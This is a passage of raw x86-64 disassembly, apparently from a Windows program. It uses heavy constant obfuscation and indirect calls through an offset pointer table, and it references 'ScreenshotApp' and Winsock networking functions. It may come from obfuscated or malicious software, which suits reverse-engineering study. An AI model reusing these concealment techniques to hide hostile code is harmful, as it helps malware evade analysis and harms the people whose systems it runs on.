mov rax, qword [rcx + rax*8]
mov qword [r15 + 0x18], rax
mov rax, qword [0x1402f0690]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x1402925d8]
movzx ecx, byte [0x1402925d9]
mov edx, eax
shl edx, 5
add edx, eax
mov eax, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
add cl, al
add cl, 0xfd
mov byte [r15], cl
mov rax, qword [0x1402f0698]
add rax, r12
sub rsp, 0x20
lea rsi, [0x1404a5be4]
lea rdx, [0x140231dbe]
mov rcx, rsi
call rax
add rsp, 0x20
nop
sub rsp, 0x20
mov qword [rbp + 0xc0], rdi
mov rcx, rdi
mov rdx, rsi
call fcn.14002ad10
add rsp, 0x20
nop
mov rdi, qword [rbp - 0x58]
mov r14, qword [rbp - 0x50]
mov rax, qword [0x1402f06a0]
movabs rbx, 0xca54c307a36effe7
add rax, rbx
sub rsp, 0x20
lea rsi, [0x1404a5bf4]
lea rdx, [0x140231e03]
mov rcx, rsi
call rax
add rsp, 0x20
movabs rax, 0x9df32e147b0f68a
imul rax, qword [str.Nn__az]
movabs rcx, 0x80435785b71c0d56
imul rcx, qword [0x1402925e8]
add rcx, rax
movabs r8, 0xa6f658d4e9d34c70
add r8, rcx
mov rax, qword [0x1402f06a8]
add rax, rbx
sub rsp, 0x20
mov rbx, qword [rbp - 0x60]
mov rcx, rbx
mov rdx, rsi
call rax
add rsp, 0x20
movabs rcx, 0xa6cb5d7c7cd644d4
imul rcx, qword [0x1402925f0]
movabs rdx, 0xf7e845c2707d91fa
imul rdx, qword [0x1402925f8]
add rdx, rcx
movabs r9, 0x95978e225cc04779
add r9, rdx
nop
sub rsp, 0x30
mov qword [rsp + 0x20], rdi
mov rdi, r14
mov rcx, r14
mov rdx, rbx
mov r8, rax
call fcn.14005a280
add rsp, 0x30
nop
imul eax, dword [0x140292600], 0xe745142f
imul ecx, dword [0x140292604], 0x74792850
lea edx, [rax + rcx]
add edx, 0x3e0b2b3f
mov eax, dword [0x140292608]
mov ecx, dword [0x14029260c]
shrd ecx, eax, 0xa
xor ecx, 0xf3db80c
mov rax, qword [0x1402f06b0]
add rax, r12
sub rsp, 0x30
mov dword [rsp + 0x20], ecx
lea rcx, str.ScreenshotApp
xor r8d, r8d
xor r9d, r9d
call rax
add rsp, 0x30
test rax, rax
mov qword [rbp + 0xb8], rdi
je 0x1400373db
mov rdi, rax
mov r14, qword [rbp + 0xc0]
mov rsi, qword [r14 + 0x18]
mov rax, qword [0x1402f06c0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rdx, r14
cmp rsi, qword [rcx + rax*8]
mov r13, qword [rbp + 0x70]
jbe 0x1400371da
mov rdx, qword [r14]
movzx eax, word [str.7v3e_]
movzx ecx, word [0x140292612]
shrd cx, ax, 7
mov eax, ecx
xor eax, 0x6f8d
imul ecx, dword [0x140292614], 0xb0c89235
mov r8d, eax
imul eax, dword [0x140292618], 0x5bff8387
add eax, ecx
add eax, 0xb1664559
mov ecx, dword [0x14029261c]
mov r9d, dword [0x140292620]
shrd r9d, ecx, 7
xor r9d, 0x6dd26627
mov rcx, qword [0x140292628]
mov r10, qword [0x140292630]
shrd r10, rcx, 0x2d
movabs rcx, 0x1f1217ab956c0a7d
xor rcx, r10
mov r10, qword [0x1402f06c8]
add r10, r12
sub rsp, 0x40
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], r9d
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], 0
mov rcx, rdi
xor r9d, r9d
call r10
add rsp, 0x40
test rax, rax
je 0x1400373f4
mov r15, qword [rbp - 0x48]
mov rbx, rax
mov rax, qword [0x1402f06d8]
add rax, r12
sub rsp, 0x20
lea rsi, [0x1404a5c08]
lea rdx, [0x140231e40]
mov rcx, rsi
call rax
add rsp, 0x20
mov qword [r15], rsi
mov qword [r15 + 8], 0
mov rsi, qword [rbp + 0xb8]
mov r14, qword [rsi + 0x18]
mov rax, qword [0x1402f06e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp r14, qword [rcx + rax*8]
jbe 0x1400372f5
mov rax, qword [rbp + 0xb8]
mov rsi, qword [rax]
mov rax, qword [0x1402f06e8]
add rax, r12
sub rsp, 0x20
lea r14, [0x1404a5c10]
lea rdx, str.Hp_g
mov rcx, r14
call rax
add rsp, 0x20
imul eax, dword [0x140292638], 0x24dd36b6
imul ecx, dword [0x14029263c], 0x27bbabb1
add eax, ecx
add eax, 0xc6ee9ae5
mov rcx, qword [0x140292640]
mov rdx, qword [0x140292648]
shrd rdx, rcx, 0x23
movabs rcx, 0x193e39366383176c
xor rcx, rdx
mov r10, qword [0x1402f06f0]
add r10, r12
sub rsp, 0x40
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], 0
mov rcx, rbx
mov rdx, r14
mov r8, rsi
xor r9d, r9d
call r10
add rsp, 0x40
test rax, rax
je 0x140037420
mov rsi, rax
mov qword [rbp + 0x90], rbx
mov r13, qword [rbp + 0x38]
mov rbx, qword [rbp - 0x40]
mov r14, qword [rbx + 0x18]
mov rax, qword [0x1402f06f8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.OLEAUT32.dll_VariantInit
cmp r14, qword [rcx + rax*8]
jbe 0x14003746a
mov rdx, qword [rbx]
jmp 0x14003746d
xor eax, eax
mov r13, qword [rbp + 0x70]
mov r15, qword [rbp + 0xa8]
mov r14, qword [rbp + 0xc0]
jmp 0x140039166
mov rax, qword [0x1402f06d0]
add rax, r12
sub rsp, 0x20
mov rcx, rdi
call rax
add rsp, 0x20
xor eax, eax
mov r15, qword [rbp + 0xa8]
mov rdi, qword [rbp + 0xb8]
jmp 0x140039166
mov rax, qword [0x1402f06d0]
add rax, r12
sub rsp, 0x20
mov rcx, rbx
call rax
add rsp, 0x20
mov rax, qword [0x1402f06d0]
add rax, r12
sub rsp, 0x20
mov rcx, rdi
call rax
add rsp, 0x20
xor eax, eax
mov r15, qword [rbp + 0xa8]
mov r14, qword [rbp + 0xc0]
mov rdi, qword [rbp + 0xb8]
jmp 0x140039166
mov rdx, rbx
mov qword [rbp + 0x58], rdi
mov eax, dword [0x140292650]
mov ecx, dword [0x140292654]
shrd ecx, eax, 0x1f
mov r8d, ecx
xor r8d, 0x36ad694b
mov eax, dword [0x140292658]
mov ecx, dword [0x14029265c]
shrd ecx, eax, 4
mov r9d, ecx
xor r9d, 0x8385ef65
mov eax, dword [0x140292660]
mov ecx, dword [0x140292664]
shrd ecx, eax, 9
xor ecx, 0x5d6d20bd
nop
sub rsp, 0x30
mov dword [rsp + 0x20], ecx
mov rcx, r13
call fcn.140093f40
add rsp, 0x30
nop
mov rdi, qword [rbp - 0x38]
mov r14, qword [rbp - 0x30]
mov r15, qword [rbp - 0x28]
mov rbx, qword [rbp - 0x20]
mov rax, qword [r13]
movsxd rax, dword [rax + 4]
mov qword [rbp + 0x80], r13
mov rax, qword [r13 + rax + 0x48]
test rax, rax
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [r15], rax
sete byte [r15 + 8]
mov qword [rbx + 0x10], 0
mov rax, qword [0x1402f0700]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292668]
movzx ecx, byte [0x140292669]
shr cl, 2
shl al, 6
or al, cl
xor al, 0xdf
mov byte [r15 + 9], al
mov qword [r14], 0
mov rax, qword [0x1402f0708]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f528]
movzx eax, byte [rax + rcx]
mov byte [r14 + 8], al
mov rax, qword [0x1402f0710]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x14029266a]
movzx ecx, byte [0x14029266b]
imul eax, eax, 0x67
imul ecx, ecx, 0x3a
add cl, al
add cl, 0x1b
mov byte [r14 + 9], cl
mov qword [rbp + 0xc8], rdi
mov qword [rdi], rbx
nop
sub rsp, 0x20
mov qword [rbp + 0x88], rbx
mov rcx, rbx
mov rdx, r15
mov r8, r14
call fcn.14005a4d0
add rsp, 0x20
nop
mov rbx, qword [rbp - 0x18]
mov rax, qword [0x1402f0720]
movabs rcx, 0xca54c307a36effe7
add rax, rcx
sub rsp, 0x20
lea r14, [0x1404a5c1c]
lea rdx, [0x140231e9a]
mov rcx, r14
call rax
add rsp, 0x20
nop
sub rsp, 0x20
mov rcx, rbx
mov rdx, r14
call fcn.14002ad10
add rsp, 0x20
nop
mov r15, qword [rbp - 0x10]
mov r12, rsi
mov rsi, qword [rbx + 0x18]
mov rax, qword [0x1402f0728]
movabs r14, 0xca54c307a36effe7
add rax, r14
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rdx, rbx
cmp rsi, qword [rcx + rax*8]
mov rsi, r14
jbe 0x14003764d
mov rdx, qword [rbx]
mov qword [rbp + 0x78], rbx
mov eax, dword [0x14029266c]
mov ecx, dword [0x140292670]
shrd ecx, eax, 0x10
mov r8d, ecx
xor r8d, 0x9947f66
imul eax, dword [0x140292674], 0xf81fb743
imul ecx, dword [0x140292678], 0x8bb64bf7
lea r9d, [rax + rcx]
add r9d, 0xfbe99694
mov rax, qword [0x1402f0730]
add rax, rsi
sub rsp, 0x20
mov rcx, r12
call rax
add rsp, 0x20
mov rax, qword [0x1402f0738]
add rax, rsi
sub rsp, 0x20
lea r14, [0x1404a5c74]
lea rdx, [0x140231f28]
mov rcx, r14
call rax
add rsp, 0x20
nop
sub rsp, 0x20
mov rcx, r15
mov rdx, r14
call fcn.14002ad10
add rsp, 0x20
nop
mov rsi, qword [rbp - 8]
mov rax, qword [0x1402f0740]
movabs rcx, 0xca54c307a36effe7
add rax, rcx
sub rsp, 0x20
lea r14, [0x1404a5ca8]
lea rdx, [0x140231fb8]
mov rcx, r14
call rax
add rsp, 0x20
nop
sub rsp, 0x20
mov qword [rbp + 0xc8], rsi
mov rcx, rsi
mov qword [rbp + 0x98], r15
mov rdx, r15
mov r8, r14
call fcn.14003a6c0
add rsp, 0x20
nop
mov rbx, qword [rbp + 0xb0]
mov r14, qword [rbx + 0x10]
mov rsi, qword [rbx + 0x18]
mov rax, qword [0x1402f0748]
movabs rcx, 0xca54c307a36effe7
add rax, rcx
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov r15, rbx
cmp rsi, qword [rcx + rax*8]
jbe 0x140037776
mov r15, qword [rbx]
mov rbx, qword [rbp + 0xc8]
mov r13, qword [rbx + 0x10]
mov rsi, qword [rbx + 0x18]
mov rax, rsi
sub rax, r13
cmp rax, r14
mov qword [rbp + 0x60], r12
jae 0x1400377ca
nop
sub rsp, 0x30
mov qword [rsp + 0x20], r14
mov rcx, rbx
mov rdx, r14
mov r9, r15
call fcn.140056eb0
add rsp, 0x30
nop
mov r14, rax
movabs r13, 0xca54c307a36effe7
mov rbx, qword [rbp + 0xc8]
jmp 0x140037860
lea r12, [r14 + r13]
mov qword [rbx + 0x10], r12
mov rax, qword [0x1402f0750]
movabs rcx, 0xca54c307a36effe7
add rax, rcx
sub rsp, 0x20
call rax
add rsp, 0x20
movsxd rcx, eax
lea rdx, reloc.WS2_32.dll_ntohs
mov rax, rbx
cmp rsi, qword [rdx + rcx*8]
jbe 0x140037806
mov rax, qword [rbx]
mov rsi, rax
mov rcx, r13
add rcx, rax
sub rsp, 0x20
mov rdx, r15
mov r8, r14
call sub.VCRUNTIME140.dll_memmove
add rsp, 0x20
mov rax, qword [0x1402f0758]
movabs r13, 0xca54c307a36effe7
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x14029267c]
movzx ecx, byte [0x14029267d]
imul eax, eax, 0x6a
imul ecx, ecx, 0xffffff82
add cl, al
add cl, 0xb8
mov byte [rsi + r12], cl
mov r14, rbx
mov rdi, qword [rbp]
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
mov rax, qword [0x1402f0760]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0x23c345fa5cc7a080
imul rax, qword [0x140292680]
movabs rcx, 0x88e7a301d91ace89
imul rcx, qword [0x140292688]
add rcx, rax
movabs rax, 0xd1cf4f90b7d63391
add rax, rcx
mov qword [r14 + 0x10], rax
mov rax, qword [0x1402f0768]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [r14 + 0x18], rax
mov rax, qword [0x1402f0770]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_27]
movzx ecx, byte [0x140292691]
imul eax, eax, 0xffffffda
imul ecx, ecx, 0x23
add cl, al
add cl, 0x32
mov byte [r14], cl
mov r14, qword [rdi + 0x10]
mov r12, qword [rdi + 0x18]
mov rsi, r12
sub rsi, r14
mov rax, qword [0x1402f0778]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.OLEAUT32.dll_SysReAllocString
cmp rsi, qword [rcx + rax*8]
jae 0x1400379fe
mov rax, qword [0x1402f07a0]
add rax, r13
sub rsp, 0x20
lea r14, [0x1404a5ca0]
lea rdx, [0x140231f7f]
mov rcx, r14
call rax
add rsp, 0x20
movabs rax, 0xe7d1067817347ac3
imul rax, qword [0x140292698]
movabs rcx, 0xf6023b2dc1cac82b
imul rcx, qword [0x1402926a0]
add rcx, rax
mov rax, qword [0x1402926a8]
mov r8, qword [0x1402926b0]
shrd r8, rax, 0x14
movabs rdx, 0xbad1db0d8be9b8ee
add rdx, rcx
movabs rax, 0x1e7337fcbb891887
xor rax, r8
nop
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov qword [rbp + 0xa0], rdi
mov rcx, rdi
mov r9, r14
call fcn.140056eb0
add rsp, 0x30
nop
mov r14, rax
mov rax, qword [rbp + 0x40]
mov rbx, qword [rbp + 0xc8]
mov rdi, qword [rbp + 0xa0]
jmp 0x140037ab1
mov rax, qword [0x1402f0780]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.OLEAUT32.dll_SysReAllocString
mov r15, qword [rcx + rax*8]
add r15, r14
mov qword [rdi + 0x10], r15
mov rax, qword [0x1402f0788]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
movsxd rcx, eax
lea rdx, reloc.WS2_32.dll_ntohs
mov rax, rdi
cmp r12, qword [rdx + rcx*8]
jbe 0x140037a50
mov rax, qword [rdi]
mov rsi, rax
mov rax, qword [0x1402f0790]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, str._r_n_r_n_r_n
movzx eax, word [rcx + rax*2]
mov word [rsi + r14], ax
mov rax, qword [0x1402f0798]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292692]
movzx ecx, byte [0x140292693]
imul eax, eax, 0x73
imul ecx, ecx, 0x6a
add cl, al
add cl, 0x1e
mov byte [rsi + r15], cl
mov r14, rdi
mov rax, qword [rbp + 0x40]
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rax + 0x10], xmm1
mov qword [rbp + 0xc8], rax
movups xmmword [rax], xmm0
mov rax, qword [0x1402f07a8]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x1402926b8]
mov rcx, qword [0x1402926c0]
shrd rcx, rax, 0x2b
movabs rax, 0xd26bb848e82004bc
xor rax, rcx
mov qword [r14 + 0x10], rax
mov rax, qword [0x1402f07b0]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [r14 + 0x18], rax
mov rax, qword [0x1402f07b8]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x1402926c8]
movzx ecx, byte [0x1402926c9]
shl eax, 4
lea eax, [rax + rax*4]
neg eax
imul ecx, ecx, 0xfffffff2
add cl, al
add cl, 0xf8
mov byte [r14], cl
mov r14, qword [rdi + 0x18]
mov rax, qword [0x1402f07c0]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp r14, qword [rcx + rax*8]
jbe 0x140037c62
mov r12, qword [rdi]
mov rax, qword [0x1402f07c8]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rsi, qword [rcx + rax*8]
add rsi, r14
mov rax, qword [0x1402f07d0]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f670]
cmp rsi, qword [rcx + rax*8]
jbe 0x140037c48
mov r15, qword [r12 - 8]
mov rax, qword [0x1402f07d8]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f690]
add r12, qword [rcx + rax*8]
sub r12, r15
mov rax, qword [0x1402f07e0]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp r12, qword [rcx + rax*8]
jae 0x140039ca4
mov rax, qword [0x1402f07e8]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f6d0]
add r14, qword [rcx + rax*8]
mov rdx, r14
mov rcx, r15
jmp 0x140037c4e
mov rdx, rsi
mov rcx, r12
mov rax, qword [0x1402f01e0]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x1402f07f0]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x1402926d0]
mov rcx, qword [0x1402926d8]
shrd rcx, rax, 3
movabs rax, 0xb7bf8341952268e4
xor rax, rcx
mov qword [rdi + 0x10], rax
mov rax, qword [0x1402f07f8]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1402f0800]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
movzx ecx, byte [reloc.WS2_32.dll_socket]
shr cl, 6
shl al, 2
or al, cl
xor al, 0x24
mov byte [rdi], al
mov r14, qword [rbx + 0x18]
mov rax, qword [0x1402f0808]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp r14, qword [rcx + rax*8]
jbe 0x140037df5
mov r12, qword [rbx]
mov rax, qword [0x1402f0810]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rsi, qword [rcx + rax*8]
add rsi, r14
mov rax, qword [0x1402f0818]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f750]
cmp rsi, qword [rcx + rax*8]
jbe 0x140037ddb
mov r15, qword [r12 - 8]
mov rax, qword [0x1402f0820]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f770]
add r12, qword [rcx + rax*8]
sub r12, r15
mov rax, qword [0x1402f0828]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp r12, qword [rcx + rax*8]
jae 0x140039ca4
mov rax, qword [0x1402f0830]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f7b0]
add r14, qword [rcx + rax*8]
mov rdx, r14
mov rcx, r15
jmp 0x140037de1
mov rdx, rsi
mov rcx, r12
mov rax, qword [0x1402f01e0]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
mov rdi, qword [rbp + 8]
mov rax, qword [0x1402f0838]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x1402926e8]
mov rcx, qword [str.A4F7]
shrd rcx, rax, 0x22
movabs rax, 0x7e4a8e750e185cc5
xor rax, rcx
mov qword [rbx + 0x10], rax
mov rax, qword [0x1402f0840]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rbx + 0x18], rax
mov rax, qword [0x1402f0848]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [reloc.WS2_32.dll_ioctlsocket]
movzx ecx, byte [0x1402926f9]
shr cl, 5
shl al, 3
or al, cl
xor al, 0x52
mov byte [rbx], al
mov rax, qword [0x1402f0850]
add rax, r13
sub rsp, 0x20
lea r14, [0x1404a5ce4]
lea rdx, [0x140232010]
mov rcx, r14
call rax
add rsp, 0x20
nop
sub rsp, 0x20
mov rcx, rdi
mov rdx, qword [rbp + 0x98]
mov r8, r14
call fcn.14003a6c0
add rsp, 0x20
nop
mov r14, qword [rdi + 0x10]
mov rsi, qword [rdi + 0x18]
mov rax, qword [0x1402f0858]
movabs rcx, 0xca54c307a36effe7
add rax, rcx
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov r15, rdi
cmp rsi, qword [rcx + rax*8]
jbe 0x140037f00
mov r15, qword [rdi]
mov rbx, qword [rbp + 0xc8]
mov rsi, qword [rbx + 0x10]
mov r13, qword [rbx + 0x18]
mov rax, r13
sub rax, rsi
cmp rax, r14
mov qword [rbp + 0xa0], rdi
jae 0x140037f43
nop
sub rsp, 0x30
mov qword [rsp + 0x20], r14
mov rcx, rbx
mov rdx, r14
mov r9, r15
call fcn.140056eb0
add rsp, 0x30
nop
jmp 0x140037fe2
lea r12, [rsi + r14]
mov qword [rbx + 0x10], r12
mov rax, qword [0x1402f0860]
movabs rcx, 0xca54c307a36effe7
add rax, rcx
sub rsp, 0x20
call rax
add rsp, 0x20
movsxd rcx, eax
lea rdx, reloc.WS2_32.dll_ntohs
mov rax, rbx
cmp r13, qword [rdx + rcx*8]
jbe 0x140037f86
mov rax, qword [rbp + 0xc8]
mov rax, qword [rax]
mov r13, rax
add rsi, rax
sub rsp, 0x20
mov rcx, rsi
mov rdx, r15
mov r8, r14
call sub.VCRUNTIME140.dll_memmove
add rsp, 0x20
mov rax, qword [0x1402f0868]
movabs rcx, 0xca54c307a36effe7
add rax, rcx
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x1402926fa]
movzx ecx, byte [0x1402926fb]
imul eax, eax, 0xffffffc3
add ecx, ecx
lea ecx, [rcx + rcx*4]
neg ecx
add cl, al
add cl, 0x3f
mov byte [r13 + r12], cl
mov rdi, qword [rbp + 0xa0]
mov r14, qword [rdi + 0x18]
mov rax, qword [0x1402f0870]
movabs rbx, 0xca54c307a36effe7
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp r14, qword [rcx + rax*8]
jbe 0x140038101
mov r13, rbx
mov r12, qword [rdi]
mov rax, qword [0x1402f0878]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rsi, qword [rcx + rax*8]
add rsi, r14
mov rax, qword [0x1402f0880]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f870]
cmp rsi, qword [rcx + rax*8]
jbe 0x1400380e4
mov r15, qword [r12 - 8]
mov rax, qword [0x1402f0888]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f890]
add r12, qword [rcx + rax*8]
sub r12, r15
mov rax, qword [0x1402f0890]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp r12, qword [rcx + rax*8]
jae 0x140039ca4
mov rax, qword [0x1402f0898]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f8d0]
add r14, qword [rcx + rax*8]
mov rdx, r14
mov rcx, r15
jmp 0x1400380ea
mov rdx, rsi
mov rcx, r12
mov rbx, r13
mov rax, qword [0x1402f01e0]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x1402f08a0]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x140292700]
mov rcx, qword [0x140292708]
shrd rcx, rax, 0x3a
movabs rax, 0xfcd403f47cc2d86b
xor rax, rcx
mov qword [rdi + 0x10], rax
mov rax, qword [0x1402f08a8]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1402f08b0]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292710]
movzx ecx, byte [0x140292711]
shr cl, 6
shl al, 2
or al, cl
xor al, 0x93
mov byte [rdi], al
mov rax, qword [rbp + 0x88]
mov r14, qword [rax]
mov r15, qword [rax + 8]
sub r15, r14
mov rcx, qword [rbp + 0xc8]
mov rsi, qword [rcx + 0x10]
mov r13, qword [rcx + 0x18]
mov rax, r13
sub rax, rsi
cmp rax, r15
jae 0x1400381dd
nop
sub rsp, 0x30
mov qword [rsp + 0x20], r15
mov rdx, r15
mov r9, r14
call fcn.140056eb0
add rsp, 0x30
nop
mov rbx, qword [rbp + 0x90]
jmp 0x140038277
lea r12, [r15 + rsi]
mov qword [rcx + 0x10], r12
mov rax, qword [0x1402f08b8]
add rax, rbx
sub rsp, 0x20
mov rbx, rcx
call rax
add rsp, 0x20
movsxd rcx, eax
lea rdx, reloc.WS2_32.dll_ntohs
mov rax, rbx
cmp r13, qword [rdx + rcx*8]
mov rbx, qword [rbp + 0x90]
jbe 0x140038220
mov rax, qword [rbp + 0xc8]
mov rax, qword [rax]
mov r13, rax
mov rcx, rsi
add rcx, rax
sub rsp, 0x20
mov rdx, r14
mov r8, r15
call sub.VCRUNTIME140.dll_memmove
add rsp, 0x20
mov rax, qword [0x1402f08c0]
movabs rcx, 0xca54c307a36effe7
add rax, rcx
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [str.R._]
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_46]
shr cl, 3
shl al, 5
or al, cl
xor al, 0x45
mov byte [r13 + r12], al
mov r13, qword [rbp + 0x10]
mov rax, qword [0x1402f07a0]
movabs rcx, 0xca54c307a36effe7
add rax, rcx
sub rsp, 0x20
lea r14, [0x1404a5ca0]
lea rdx, [0x140231f7f]
mov rcx, r14
call rax
add rsp, 0x20
nop
sub rsp, 0x20
mov rcx, r13
mov rdx, r14
mov r8, qword [rbp + 0x98]
call fcn.14002fcd0
add rsp, 0x20
nop
mov r14, qword [r13 + 0x10]
mov r12, qword [r13 + 0x18]
mov rsi, r12
sub rsi, r14
mov rax, qword [0x1402f08c8]
movabs rdi, 0xca54c307a36effe7
add rax, rdi
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_connect
cmp rsi, qword [rcx + rax*8]
mov rsi, rdi
mov qword [rbp + 0xa0], r13
jae 0x1400383a0
mov rax, qword [0x1402f08f0]
add rax, rsi
sub rsp, 0x20
lea r14, [0x1404a5d50]
lea rdx, [0x1402320a5]
mov rcx, r14
call rax
add rsp, 0x20
mov rax, qword [0x140292718]
mov rcx, qword [0x140292720]
shrd rcx, rax, 0x15
mov rax, qword [0x140292728]
mov r8, qword [0x140292730]
shrd r8, rax, 0x2b
movabs rdx, 0xbd960ec0faf80c08
xor rdx, rcx
movabs rax, 0x63da337246afa44f
xor rax, r8
nop
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rcx, r13
mov r9, r14
call fcn.140056eb0
add rsp, 0x30
nop
mov r14, rax
movabs r12, 0xca54c307a36effe7
jmp 0x140038458
mov rax, qword [0x1402f08d0]
add rax, rsi
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_connect
mov r15, qword [rcx + rax*8]
add r15, r14
mov qword [r13 + 0x10], r15
mov rax, qword [0x1402f08d8]
add rax, rsi
sub rsp, 0x20
call rax
add rsp, 0x20
movsxd rcx, eax
lea rdx, reloc.WS2_32.dll_ntohs
mov rax, r13
cmp r12, qword [rdx + rcx*8]
jbe 0x1400383f3
mov rax, qword [r13]
mov rsi, rax
mov rax, qword [0x1402f08e0]
movabs r12, 0xca54c307a36effe7
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, str.___r_n___r_n___r_n
mov eax, dword [rcx + rax*4]
mov dword [rsi + r14], eax
mov rax, qword [0x1402f08e8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292714]
movzx ecx, byte [0x140292715]
imul eax, eax, 0x39
imul ecx, ecx, 0xffffffcd
add cl, al
add cl, 0xd8
mov byte [rsi + r15], cl
mov r14, r13
mov rdi, qword [rbp + 0x18]
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
